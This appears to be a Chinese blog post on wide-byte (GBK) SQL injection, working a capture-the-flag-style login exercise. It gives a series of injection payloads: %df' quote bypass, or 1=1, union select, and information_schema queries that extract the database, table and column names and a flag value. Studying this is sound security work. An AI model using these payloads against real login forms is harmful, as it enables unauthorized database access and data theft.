【宽字节注入】

字符编码

url 编码

GBK编码

utf8 编码

宽字节注入

php中的转译函数

宽字节注入介绍


练习

正常输入没有回显:

cpp 复制代码
没有回显
username=admin&password=admin 

闭合单引号,依旧没有回显
username=admin' and 1=1%23&password=admin

利用宽字节尝试闭合,依旧没有回显
username=admin%df' and 1=1%23&password=admin

换成or连接,回显admin,说明数据库里面没有admin,导致前面的admin是flase,后面是true,and需要保证两个都是ture才能返回ture
username=admin%df' or 1=1%23&password=admin

下面我们之间用常规的union来获取数据,先用order by 来测试列数:

cpp 复制代码
username=admin%df' order by 4 select 1,2,3%23

报错回显了,没有那么多列数,说明只有三列:

我们接着用union来测试回显位:

cpp 复制代码
username=admin%df' union select 1,2,3%23

拿到回显列后,直接开始拿数据:

cpp 复制代码
拿库名
username=admin%df' union select 1,database(),3%23&password=admin

拿表名
username=admin%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=admin

拿列名 #这里的0x666c6167是flag转成16进制后的编码,因为单引号被过滤了,所以通过编码绕过
username=admin%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666c6167%23&password=admin

拿数据
username=admin%df' union select 1,flag,3 from flag%23&password=admin
相关推荐
尘浮生44 分钟前
Java项目实战II基于Java+Spring Boot+MySQL的桂林旅游景点导游平台(源码+数据库+文档)
java·开发语言·数据库·spring boot·mysql·maven·intellij-idea
柠檬の夏季1 小时前
数据库表操作
数据库
听雪楼主.1 小时前
Oracle RAC IPC Send timeout detected问题分析处理
数据库·oracle
一个儒雅随和的男子1 小时前
连肝了多天学习MySQL索引与性能优化,详细总结一下索引的使用与数据库优化
数据库·学习·mysql
禾高网络3 小时前
陪护小程序|护理陪护系统|陪护小程序成品
java·数据库·小程序·陪护
小登ai学习3 小时前
简单认识redis - 7redis实现分布式
数据库·redis·分布式
周周写不完的代码3 小时前
Redis-分布式锁
数据库·redis·分布式
bug菌¹3 小时前
滚雪球学Oracle[5.2讲]:数据库备份与恢复基础
数据库·oracle·数据库备份·数据库恢复
小安运维日记3 小时前
Linux云计算 |【第四阶段】RDBMS2-DAY4
linux·运维·数据库·云计算·改行学it